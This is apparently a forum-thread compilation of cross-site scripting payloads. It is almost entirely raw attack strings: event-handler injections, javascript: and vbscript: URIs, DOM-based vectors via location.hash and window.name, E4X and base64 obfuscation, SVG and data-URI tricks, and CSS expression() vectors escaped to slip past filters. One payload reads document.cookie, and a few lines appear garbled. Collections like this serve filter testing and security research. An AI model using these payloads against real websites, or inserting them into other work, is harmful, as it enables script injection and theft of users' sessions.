<img src="x onerror=alert(1)//[^"]* (all characters but a double-quote)
<img src=somevalidimage onreadystatechange=alert(1)>
<image src=somevalidimage onreadystatechange=alert(1)>
<isindex action=javascript:alert(1) type=image>
<applet onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)>
<iframe onreadystatechange=alert(1)>
<style onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)></script>
<iframe onreadystatechange=alert(1)></iframe>
<style onreadystatechange=alert(1)></style>
<xml onreadystatechange=alert(1)>
<xml onreadystatechange=alert(1)>test</xml>
<object type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)></object>
<img type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
<image type=image src=http://www.businessinfo.co.uk/labs/hackvertor/images/logo.gif onreadystatechange=alert(1)>
Language attribute to force VBS:-
<b alt=1 onmouseover=InputBox+1 language=vbs>test</b>
Opera vectors work in certain conditions have to be triggered:-
<table background=javascript:alert(1)>
<table background=javascript㨀:alert(1)>
<table background=javascript㨀㨀㨀㨀㨀:alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
More from cosine:-
<video src="hxxp://tinyvid.tv/file/29d6g90a204i1.ogg" onloadedmetadata="alert(document.cookie);" ondurationchanged="alert(/XSS2/);" ontimeupdate="alert(/XSS1/);">
Dom based vectors:-
document.URL='javascript:alert(1)';//IE only
<img src=1 onerror=URL='javascript:alert(1)'>
hxxp://someserver.com/somepage.php?
param=",eval(location.hash.slice(1))//#alert(1)
hxxp://someserver.com/somepage.php?
param=",location='javascript:/*'+location.hash//#*/alert(1)
More from Giorgio:-
hxxp://someserver.com/somepage.php?param=“,location=’javascript:’+location#%0aalert(1)
hxxp://someserver.com/somepage.php?param=“,location=name
name = 'alert(1)'
-Infinity++in eval(1&&name)
1,0000instanceof delete~void--Infinity/~alert(1)
E4X:-
default xml namespace=toolbar,b=1&&this.atob
default xml namespace=toolbar,e2=b('ZXZhbA')
default xml namespace=toolbar,e=this[toolbar,e2]
default xml namespace=toolbar,y=1&&name
default xml namespace=toolbar
default xml namespace=e(y)
(!1..@*::abc?alert:1..@*::xyz)(1)
1..@Numbers/(are=1)%1..*::xml
From Giorgio:-
eval(<>alert(1)</>+[])
Applets:-
<applet src="data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3N
jcmlwdD4" type=text/html>
<applet src="http://www.businessinfo.co.uk" type=text/html>
<svg:g onload="alert(8)"/> //FF with right namespace (s.a. *g*)
<image src="x" onerror="alert(1)"></image> //FF, Opera
Opera 10 SVG font XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3..0/svg" onload="alert(1)"></svg>
<html>
<head>
<style type="text/css">
@font-face {
font-family: xss;
src: url(test.svg#xss) format("svg");
}
body {font: 0px "xss"; }
</style>
</head>
<a href='data:text/xml,<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html [ <!ENTITY inject "<script>alert(1)</script>">]><html xmlns="http://www.w3.org/1999/xhtml">&inject;</html>'>haha</a>
<div style="xss:expression(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="\0078\0073\0073:\0065\0078\0070\0072\0065\0073\0073\0069\006f\006e(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="\0078 \0073 \0073: \0065 \0078 \0070 \0072 \0065 \0073 \0073 \0069 \006f \006e(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="xss:\000065\000078\00070\00072\00065\000073\00073\00069\0006f\006e(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="xs\0s:e\x\pression\(window.x?0:(alert(/XSS/),window.x=1)\);"></div> <div style="\0078\0073\0073:\0065\0078\0070\0072\0065\0073\0073\0069\006f\006e(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="\0078\0073\0073>:\0065\0078\0070\0072\0065\0073\0073\0069\006f\006e(window.x?0:(alert(/XSS/),window.x=1));"></div> <div style="\0000000000078\0000000000073s:e\xp/*tbeorhf*/ression(window.x?0:(alert(/XSS/),window.x=1));"></div> Encoded comments:- <div style="xss:ex/*OMG*/pression(window.x?0:(alert(/XSS/),window.x=1));"></div> The VB example doesn't require () :- <IMG SRC=a onerror='vbscript:msgbox"XSS"'> And how about vbs: <img src=1 onerror="vbs:MsgBox 1">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<DIV STYLE="width: expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))">
And I'm sure that could be cleaned up a bit for the cheat sheet- I've seen it put this way, which simpler:
<DIV STYLE="width: expression(window.r?0:(alert('XSS'),window.r=1));">
Compare to current cheat sheet vector:
<DIV STYLE="width: expression(alert('XSS'));">
Quote
everything would be solved with tra.ckers.org
the cheatsheet would still be used by.. well.. CISSPs, and tra.ckers by us :)
<hr onresize=alert(1)>